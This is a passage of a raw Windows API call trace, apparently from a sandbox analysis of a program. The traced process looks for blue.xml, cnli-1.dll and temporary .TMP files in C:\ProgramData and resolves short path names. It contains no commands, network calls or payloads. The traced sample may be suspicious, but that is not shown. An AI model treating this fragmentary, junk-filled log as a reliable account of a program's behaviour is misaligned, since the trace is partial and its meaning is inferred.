WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="programdata", cchWideChar=11, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="programdataume1", lpUsedDefaultChar=0x0) returned 11 [0092.043] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="blue.xml", cchWideChar=8, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blue.xmlataume1", lpUsedDefaultChar=0x0) returned 8 [0092.044] CharLowerBuffW (in: lpsz="c:\\programdata\\blue.xml", cchLength=0x17 | out: lpsz="c:\\programdata\\blue.xml") returned 0x17 [0092.044] SysReAllocStringLen (in: pbstr=0x4721a4*=0x0, psz="c:\\programdata\\blue.xml", len=0x17 | out: pbstr=0x4721a4*="c:\\programdata\\blue.xml") returned 1 [0092.044] SysReAllocStringLen (in: pbstr=0x4721a8*=0x0, psz="c:", len=0x2 | out: pbstr=0x4721a8*="c:") returned 1 [0092.044] SysReAllocStringLen (in: pbstr=0x4721c8*=0x0, psz="programdata", len=0xb | out: pbstr=0x4721c8*="programdata") returned 1 [0092.044] SysReAllocStringLen (in: pbstr=0x4721e8*=0x0, psz="blue.xml", len=0x8 | out: pbstr=0x4721e8*="blue.xml") returned 1 [0092.044] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="programdata", cchWideChar=11, lpMultiByteStr=0x28de7c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="programdatalatawr45w", lpUsedDefaultChar=0x0) returned 11 [0092.044] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="blue.xml", cchWideChar=8, lpMultiByteStr=0x28de7c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blue.xmlatalatawr45w", lpUsedDefaultChar=0x0) returned 8 [0092.045] SysReAllocStringLen (in: pbstr=0x28ef14*=0x0, psz="c:", len=0x2 | out: pbstr=0x28ef14*="c:") returned 1 [0092.045] SysReAllocStringLen (in: pbstr=0x28f210*=0x0, psz="c:\\", len=0x3 | out: pbstr=0x28f210*="c:\\") returned 1 [0092.045] SysReAllocStringLen (in: pbstr=0x28ef0c*=0x0, psz="programdata", len=0xb | out: pbstr=0x28ef0c*="programdata") returned 1 [0092.045] FindFirstFileW (in: lpFileName="c:\\programdata", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80adfa20, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x80adfa20, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0x759418 [0092.045] FindNextFileW (in: hFindFile=0x759418, lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80adfa20, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x80adfa20, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0 [0092.045] GetLastError () returned 0x12 [0092.045] FindClose (in: hFindFile=0x759418 | out: hFindFile=0x759418) returned 1 [0092.045] SysReAllocStringLen (in: pbstr=0x28eefc*=0x0, psz="c:\\PROGRA~3", len=0xb | out: pbstr=0x28eefc*="c:\\PROGRA~3") returned 1 [0092.045] SysReAllocStringLen (in: pbstr=0x28f210*="c:\\PROGRA~3", psz="c:\\PROGRA~3\\", len=0xc | out: pbstr=0x28f210*="c:\\PROGRA~3\\") returned 1 [0092.045] SysReAllocStringLen (in: pbstr=0x28ef0c*="programdata", psz="blue.xml", len=0x8 | out: pbstr=0x28ef0c*="blue.xml") returned 1 [0092.045] FindFirstFileW (in: lpFileName="c:\\PROGRA~3\\blue.xml", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0092.045] GetLastError () returned 0x2 [0092.045] SysReAllocStringLen (in: pbstr=0x28ef00*=0x0, psz="blue.xml", len=0x8 | out: pbstr=0x28ef00*="blue.xml") returned 1 [0092.045] SysReAllocStringLen (in: pbstr=0x28eefc*="c:\\PROGRA~3\\", psz="c:\\PROGRA~3\\blue.xml", len=0x14 | out: pbstr=0x28eefc*="c:\\PROGRA~3\\blue.xml") returned 1 [0092.046] SysReAllocStringLen (in: pbstr=0x28f210*="c:\\PROGRA~3\\blue.xml", psz="c:\\PROGRA~3\\blue.xml\\", len=0x15 | out: pbstr=0x28f210*="c:\\PROGRA~3\\blue.xml\\") returned 1 [0092.047] SysReAllocStringLen (in: pbstr=0x28eef8*=0x0, psz="c:\\PROGRA~3\\blue.xml\\", len=0x15 | out: pbstr=0x28eef8*="c:\\PROGRA~3\\blue.xml\\") returned 1 [0092.047] SysReAllocStringLen (in: pbstr=0x28f210*="c:\\PROGRA~3\\blue.xml\\", psz="c:\\PROGRA~3\\blue.xml", len=0x14 | out: pbstr=0x28f210*="c:\\PROGRA~3\\blue.xml") returned 1 [0092.047] CharLowerBuffW (in: lpsz="c:\\PROGRA~3\\blue.xml", cchLength=0x14 | out: lpsz="c:\\progra~3\\blue.xml") returned 0x14 [0092.047] SysReAllocStringLen (in: pbstr=0x4721a4*=0x0, psz="c:\\progra~3\\blue.xml", len=0x14 | out: pbstr=0x4721a4*="c:\\progra~3\\blue.xml") returned 1 [0092.048] SysReAllocStringLen (in: pbstr=0x4721a8*=0x0, psz="c:", len=0x2 | out: pbstr=0x4721a8*="c:") returned 1 [0092.048] SysReAllocStringLen (in: pbstr=0x4721c8*=0x0, psz="progra~3", len=0x8 | out: pbstr=0x4721c8*="progra~3") returned 1 [0092.048] SysReAllocStringLen (in: pbstr=0x4721e8*=0x0, psz="blue.xml", len=0x8 | out: pbstr=0x4721e8*="blue.xml") returned 1 [0092.048] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="progra~3", cchWideChar=8, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="progra~3ataume1", lpUsedDefaultChar=0x0) returned 8 [0092.048] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="blue.xml", cchWideChar=8, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blue.xmlataume1", lpUsedDefaultChar=0x0) returned 8 [0092.048] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x472210, cbMultiByte=12, lpWideCharStr=0x28e18c, cchWideChar=2047 | out: lpWideCharStr="EVB4BA7B.TMP⛜vよt☘E\x18") returned 12 [0092.049] CharLowerBuffW (in: lpsz="EVB4BA7B.TMP", cchLength=0xc | out: lpsz="evb4ba7b.tmp") returned 0xc [0092.049] SysReAllocStringLen (in: pbstr=0x28f200*=0x0, psz="c:\\programdata\\", len=0xf | out: pbstr=0x28f200*="c:\\programdata\\") returned 1 [0092.049] FindFirstFileW (in: lpFileName="c:\\programdata\\evb4ba7b.tmp", lpFindFileData=0x28ef48 | out: lpFindFileData=0x28ef48*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="A腼uA((")) returned 0xffffffff [0092.049] CharLowerBuffW (in: lpsz="c:", cchLength=0x2 | out: lpsz="c:") returned 0x2 [0092.049] SysReAllocStringLen (in: pbstr=0x28f258*="evb4ba7b.tmp", psz="\\device\\harddiskvolume1", len=0x17 | out: pbstr=0x28f258*="\\device\\harddiskvolume1") returned 1 [0092.049] SysReAllocStringLen (in: pbstr=0x28f1cc*=0x0, psz="programdata", len=0xb | out: pbstr=0x28f1cc*="programdata") returned 1 [0092.049] SysReAllocStringLen (in: pbstr=0x28f1d4*=0x0, psz="\\device\\harddiskvolume1\\programdata", len=0x23 | out: pbstr=0x28f1d4*="\\device\\harddiskvolume1\\programdata") returned 1 [0092.049] SysReAllocStringLen (in: pbstr=0x28f258*="\\device\\harddiskvolume1\\", psz="\\device\\harddiskvolume1\\programdata\\", len=0x24 | out: pbstr=0x28f258*="\\device\\harddiskvolume1\\programdata\\") returned 1 [0092.049] SysReAllocStringLen (in: pbstr=0x28f1cc*="programdata", psz="blue.xml", len=0x8 | out: pbstr=0x28f1cc*="blue.xml") returned 1 [0092.049] SysReAllocStringLen (in: pbstr=0x28f1d4*="\\device\\harddiskvolume1\\programdata\\", psz="\\device\\harddiskvolume1\\programdata\\blue.xml", len=0x2c | out: pbstr=0x28f1d4*="\\device\\harddiskvolume1\\programdata\\blue.xml") returned 1 [0092.049] SysReAllocStringLen (in: pbstr=0x28f258*="\\device\\harddiskvolume1\\programdata\\", psz="\\device\\harddiskvolume1\\programdata\\blue.xml\\", len=0x2d | out: pbstr=0x28f258*="\\device\\harddiskvolume1\\programdata\\blue.xml\\") returned 1 [0092.049] SysReAllocStringLen (in: pbstr=0x472090*=0x0, psz="\\device\\harddiskvolume1\\programdata\\blue.xml\\", len=0x2d | out: pbstr=0x472090*="\\device\\harddiskvolume1\\programdata\\blue.xml\\") returned 1 [0092.049] CharLowerBuffW (in: lpsz="\\device\\harddiskvolume1\\programdata\\blue.xml\\", cchLength=0x2d | out: lpsz="\\device\\harddiskvolume1\\programdata\\blue.xml\\") returned 0x2d [0092.050] SysReAllocStringLen (in: pbstr=0x472228*=0x0, psz="\\device\\harddiskvolume1\\programdata\\blue.xml\\", len=0x2d | out: pbstr=0x472228*="\\device\\harddiskvolume1\\programdata\\blue.xml\\") returned 1 [0092.050] SysReAllocStringLen (in: pbstr=0x47224c*=0x0, psz="device", len=0x6 | out: pbstr=0x47224c*="device") returned 1 [0092.050] SysReAllocStringLen (in: pbstr=0x47226c*=0x0, psz="harddiskvolume1", len=0xf | out: pbstr=0x47226c*="harddiskvolume1") returned 1 [0092.050] SysReAllocStringLen (in: pbstr=0x472278*=0x0, psz="programdata", len=0xb | out: pbstr=0x472278*="programdata") returned 1 [0092.050] SysReAllocStringLen (in: pbstr=0x472284*=0x0, psz="blue.xml", len=0x8 | out: pbstr=0x472284*="blue.xml") returned 1 [0092.050] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="device", cchWideChar=6, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="device\x9dv\x18", lpUsedDefaultChar=0x0) returned 6 [0092.050] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="harddiskvolume1", cchWideChar=15, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="harddiskvolume1", lpUsedDefaultChar=0x0) returned 15 [0092.050] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="programdata", cchWideChar=11, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="programdataume1", lpUsedDefaultChar=0x0) returned 11 [0092.050] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="blue.xml", cchWideChar=8, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blue.xmlataume1", lpUsedDefaultChar=0x0) returned 8 [0092.051] SysReAllocStringLen (in: pbstr=0x28f258*="\\device\\harddiskvolume1\\programdata\\blue.xml\\", psz="\\device\\harddiskvolume1", len=0x17 | out: pbstr=0x28f258*="\\device\\harddiskvolume1") returned 1 [0092.051] SysReAllocStringLen (in: pbstr=0x28f1c0*=0x0, psz="progra~3", len=0x8 | out: pbstr=0x28f1c0*="progra~3") returned 1 [0092.051] SysReAllocStringLen (in: pbstr=0x28f1c8*=0x0, psz="\\device\\harddiskvolume1\\progra~3", len=0x20 | out: pbstr=0x28f1c8*="\\device\\harddiskvolume1\\progra~3") returned 1 [0092.051] SysReAllocStringLen (in: pbstr=0x28f258*="\\device\\harddiskvolume1\\", psz="\\device\\harddiskvolume1\\progra~3\\", len=0x21 | out: pbstr=0x28f258*="\\device\\harddiskvolume1\\progra~3\\") returned 1 [0092.051] SysReAllocStringLen (in: pbstr=0x28f1c0*="progra~3", psz="blue.xml", len=0x8 | out: pbstr=0x28f1c0*="blue.xml") returned 1 [0092.051] SysReAllocStringLen (in: pbstr=0x28f1c8*="\\device\\harddiskvolume1\\progra~3\\", psz="\\device\\harddiskvolume1\\progra~3\\blue.xml", len=0x29 | out: pbstr=0x28f1c8*="\\device\\harddiskvolume1\\progra~3\\blue.xml") returned 1 [0092.051] SysReAllocStringLen (in: pbstr=0x28f258*="\\device\\harddiskvolume1\\progra~3\\", psz="\\device\\harddiskvolume1\\progra~3\\blue.xml\\", len=0x2a | out: pbstr=0x28f258*="\\device\\harddiskvolume1\\progra~3\\blue.xml\\") returned 1 [0092.051] CharLowerBuffW (in: lpsz="\\device\\harddiskvolume1\\progra~3\\blue.xml\\", cchLength=0x2a | out: lpsz="\\device\\harddiskvolume1\\progra~3\\blue.xml\\") returned 0x2a [0092.051] SysReAllocStringLen (in: pbstr=0x472294*=0x0, psz="\\device\\harddiskvolume1\\progra~3\\blue.xml\\", len=0x2a | out: pbstr=0x472294*="\\device\\harddiskvolume1\\progra~3\\blue.xml\\") returned 1 [0092.051] SysReAllocStringLen (in: pbstr=0x4722b8*=0x0, psz="device", len=0x6 | out: pbstr=0x4722b8*="device") returned 1 [0092.051] SysReAllocStringLen (in: pbstr=0x4722d8*=0x0, psz="harddiskvolume1", len=0xf | out: pbstr=0x4722d8*="harddiskvolume1") returned 1 [0092.051] SysReAllocStringLen (in: pbstr=0x4722e4*=0x0, psz="progra~3", len=0x8 | out: pbstr=0x4722e4*="progra~3") returned 1 [0092.052] SysReAllocStringLen (in: pbstr=0x4722f0*=0x0, psz="blue.xml", len=0x8 | out: pbstr=0x4722f0*="blue.xml") returned 1 [0092.052] SystemTimeToFileTime (in: lpSystemTime=0x28f178, lpFileTime=0x28f188 | out: lpFileTime=0x28f188) returned 1 [0092.052] SystemTimeToFileTime (in: lpSystemTime=0x28f178, lpFileTime=0x28f188 | out: lpFileTime=0x28f188) returned 1 [0092.052] SystemTimeToFileTime (in: lpSystemTime=0x28f178, lpFileTime=0x28f188 | out: lpFileTime=0x28f188) returned 1 [0092.052] SysReAllocStringLen (in: pbstr=0x28f23c*=0x0, psz="cnli-1.dll", len=0xa | out: pbstr=0x28f23c*="cnli-1.dll") returned 1 [0092.052] CharLowerBuffW (in: lpsz="cnli-1.dll", cchLength=0xa | out: lpsz="cnli-1.dll") returned 0xa [0092.052] SysReAllocStringLen (in: pbstr=0x28f240*="cnli-1.dll", psz="cnli-1.dll", len=0xa | out: pbstr=0x28f240*="cnli-1.dll") returned 1 [0092.052] SysReAllocStringLen (in: pbstr=0x472348*=0x0, psz="cnli-1.dll", len=0xa | out: pbstr=0x472348*="cnli-1.dll") returned 1 [0092.052] SysReAllocStringLen (in: pbstr=0x47234c*=0x0, psz="cnli-1.dll", len=0xa | out: pbstr=0x47234c*="cnli-1.dll") returned 1 [0092.052] SysReAllocStringLen (in: pbstr=0x28f220*=0x0, psz="c:\\programdata", len=0xe | out: pbstr=0x28f220*="c:\\programdata") returned 1 [0092.052] SysReAllocStringLen (in: pbstr=0x28f280*="c:\\programdata", psz="c:\\programdata\\", len=0xf | out: pbstr=0x28f280*="c:\\programdata\\") returned 1 [0092.053] CharLowerBuffW (in: lpsz="c:\\programdata\\cnli-1.dll", cchLength=0x19 | out: lpsz="c:\\programdata\\cnli-1.dll") returned 0x19 [0092.053] SysReAllocStringLen (in: pbstr=0x472350*=0x0, psz="c:\\programdata\\cnli-1.dll", len=0x19 | out: pbstr=0x472350*="c:\\programdata\\cnli-1.dll") returned 1 [0092.053] CharLowerBuffW (in: lpsz="c:\\programdata\\cnli-1.dll", cchLength=0x19 | out: lpsz="c:\\programdata\\cnli-1.dll") returned 0x19 [0092.053] SysReAllocStringLen (in: pbstr=0x47242c*=0x0, psz="c:\\programdata\\cnli-1.dll", len=0x19 | out: pbstr=0x47242c*="c:\\programdata\\cnli-1.dll") returned 1 [0092.053] SysReAllocStringLen (in: pbstr=0x472430*=0x0, psz="c:", len=0x2 | out: pbstr=0x472430*="c:") returned 1 [0092.053] SysReAllocStringLen (in: pbstr=0x472450*=0x0, psz="programdata", len=0xb | out: pbstr=0x472450*="programdata") returned 1 [0092.053] SysReAllocStringLen (in: pbstr=0x472470*=0x0, psz="cnli-1.dll", len=0xa | out: pbstr=0x472470*="cnli-1.dll") returned 1 [0092.053] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="programdata", cchWideChar=11, lpMultiByteStr=0x28de80, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="programdatawr45w", lpUsedDefaultChar=0x0) returned 11 [0092.053] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="cnli-1.dll", cchWideChar=10, lpMultiByteStr=0x28de80, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cnli-1.dllawr45w", lpUsedDefaultChar=0x0) returned 10 [0092.053] SysReAllocStringLen (in: pbstr=0x28ef14*=0x0, psz="c:", len=0x2 | out: pbstr=0x28ef14*="c:") returned 1 [0092.053] SysReAllocStringLen (in: pbstr=0x28f214*=0x0, psz="c:\\", len=0x3 | out: pbstr=0x28f214*="c:\\") returned 1 [0092.053] SysReAllocStringLen (in: pbstr=0x28ef0c*=0x0, psz="programdata", len=0xb | out: pbstr=0x28ef0c*="programdata") returned 1 [0092.053] FindFirstFileW (in: lpFileName="c:\\programdata", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80adfa20, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x80adfa20, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0x759418 [0092.054] FindNextFileW (in: hFindFile=0x759418, lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80adfa20, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x80adfa20, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0 [0092.054] GetLastError () returned 0x12 [0092.054] FindClose (in: hFindFile=0x759418 | out: hFindFile=0x759418) returned 1 [0092.054] SysReAllocStringLen (in: pbstr=0x28ef00*=0x0, psz="c:\\ProgramData", len=0xe | out: pbstr=0x28ef00*="c:\\ProgramData") returned 1 [0092.054] SysReAllocStringLen (in: pbstr=0x28f214*="c:\\ProgramData", psz="c:\\ProgramData\\", len=0xf | out: pbstr=0x28f214*="c:\\ProgramData\\") returned 1 [0092.054] SysReAllocStringLen (in: pbstr=0x28ef0c*="programdata", psz="cnli-1.dll", len=0xa | out: pbstr=0x28ef0c*="cnli-1.dll") returned 1 [0092.054] FindFirstFileW (in: lpFileName="c:\\ProgramData\\cnli-1.dll", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0092.054] GetLastError () returned 0x2 [0092.055] CharLowerBuffW (in: lpsz="c:\\ProgramData\\cnli-1.dll", cchLength=0x19 | out: lpsz="c:\\programdata\\cnli-1.dll") returned 0x19 [0092.056] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="cnli-1.dll", cchWideChar=10, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cnli-1.dllaume1", lpUsedDefaultChar=0x0) returned 10 [0092.056] CharLowerBuffW (in: lpsz="c:\\programdata\\cnli-1.dll", cchLength=0x19 | out: lpsz="c:\\programdata\\cnli-1.dll") returned 0x19 [0092.057] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="cnli-1.dll", cchWideChar=10, lpMultiByteStr=0x28de7c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cnli-1.dlladllawr45w", lpUsedDefaultChar=0x0) returned 10 [0092.057] FindFirstFileW (in: lpFileName="c:\\programdata", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80adfa20, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x80adfa20, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0x759418 [0092.057] FindNextFileW (in: hFindFile=0x759418, lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80adfa20, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x80adfa20, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0 [0092.057] GetLastError () returned 0x12 [0092.057] FindClose (in: hFindFile=0x759418 | out: hFindFile=0x759418) returned 1 [0092.057] SysReAllocStringLen (in: pbstr=0x28eefc*=0x0, psz="c:\\PROGRA~3", len=0xb | out: pbstr=0x28eefc*="c:\\PROGRA~3") returned 1 [0092.057] SysReAllocStringLen (in: pbstr=0x28f210*="c:\\PROGRA~3", psz="c:\\PROGRA~3\\", len=0xc | out: pbstr=0x28f210*="c:\\PROGRA~3\\") returned 1 [0092.057] SysReAllocStringLen (in: pbstr=0x28ef0c*="programdata", psz="cnli-1.dll", len=0xa | out: pbstr=0x28ef0c*="cnli-1.dll") returned 1 [0092.058] FindFirstFileW (in: lpFileName="c:\\PROGRA~3\\cnli-1.dll", lpFindFileData=0x28ef38 | out: lpFindFileData=0x28ef38*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0092.058] GetLastError () returned 0x2 [0092.058] SysReAllocStringLen (in: pbstr=0x28ef00*=0x0, psz="cnli-1.dll", len=0xa | out: pbstr=0x28ef00*="cnli-1.dll") returned 1 [0092.058] SysReAllocStringLen (in: pbstr=0x28eefc*="c:\\PROGRA~3\\", psz="c:\\PROGRA~3\\cnli-1.dll", len=0x16 | out: pbstr=0x28eefc*="c:\\PROGRA~3\\cnli-1.dll") returned 1 [0092.058] SysReAllocStringLen (in: pbstr=0x28f210*="c:\\PROGRA~3\\cnli-1.dll", psz="c:\\PROGRA~3\\cnli-1.dll\\", len=0x17 | out: pbstr=0x28f210*="c:\\PROGRA~3\\cnli-1.dll\\") returned 1 [0092.058] SysReAllocStringLen (in: pbstr=0x28eef8*=0x0, psz="c:\\PROGRA~3\\cnli-1.dll\\", len=0x17 | out: pbstr=0x28eef8*="c:\\PROGRA~3\\cnli-1.dll\\") returned 1 [0092.058] SysReAllocStringLen (in: pbstr=0x28f210*="c:\\PROGRA~3\\cnli-1.dll\\", psz="c:\\PROGRA~3\\cnli-1.dll", len=0x16 | out: pbstr=0x28f210*="c:\\PROGRA~3\\cnli-1.dll") returned 1 [0092.059] CharLowerBuffW (in: lpsz="c:\\PROGRA~3\\cnli-1.dll", cchLength=0x16 | out: lpsz="c:\\progra~3\\cnli-1.dll") returned 0x16 [0092.059] SysReAllocStringLen (in: pbstr=0x472480*=0x0, psz="c:\\progra~3\\cnli-1.dll", len=0x16 | out: pbstr=0x472480*="c:\\progra~3\\cnli-1.dll") returned 1 [0092.059] SysReAllocStringLen (in: pbstr=0x472484*=0x0, psz="c:", len=0x2 | out: pbstr=0x472484*="c:") returned 1 [0092.059] SysReAllocStringLen (in: pbstr=0x4724a4*=0x0, psz="progra~3", len=0x8 | out: pbstr=0x4724a4*="progra~3") returned 1 [0092.059] SysReAllocStringLen (in: pbstr=0x4724c4*=0x0, psz="cnli-1.dll", len=0xa | out: pbstr=0x4724c4*="cnli-1.dll") returned 1 [0092.059] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="progra~3", cchWideChar=8, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="progra~3llaume1", lpUsedDefaultChar=0x0) returned 8 [0092.059] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="cnli-1.dll", cchWideChar=10, lpMultiByteStr=0x28e138, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cnli-1.dllaume1", lpUsedDefaultChar=0x0) returned 10 [0092.060] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x4724ec, cbMultiByte=12, lpWideCharStr=0x28e18c, cchWideChar=2047 | out: lpWideCharStr="EVB1C51C.TMP⛜vよt☘E\x18") returned 12 [0092.060] CharLowerBuffW (in: lpsz="EVB1C51C.TMP", cchLength=0xc | out: lpsz="evb1c51c.tmp") returned 0xc [0092.060] SysReAllocStringLen (in: pbstr=0x28f200*=0x0, psz="c:\\programdata\\", len=0xf | out: pbstr=0x28f200*="c:\\programdata\\") returned 1 [0092.060] FindFirstFileW (in: lpFileName="c:\\programdata\\evb1c51c.tmp", lpFindFileData=0x28ef48 | out: lpFindFileData=0x28ef48*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="A翴uA((")) returned 0xffffffff [0092.123] CharLowerBuffW (in: lpsz="c:", cchLength=0x2 | out: lpsz="c:") returned 0x2 [0092.123] SysReAllocStringLen (in: pbstr=0x28f258*="evb1c51c.tmp", psz="\\device\\harddiskvolume1", len=0x17 | out: pbstr=0x28f258*="\\device\\harddiskvolume1") returned 1 [0092.123] SysReAllocStringLen (in: pbstr=0x28f1cc*=0x0, psz="programdata", len=0xb | out: pbstr=0x28f1cc*="programdata") returned 1 [0092.123] SysReAllocStringLen (in: pbstr=0x28f1d4*=0x0, psz="\\device\\harddiskvolume1\\programdata", len=0x23 | out: 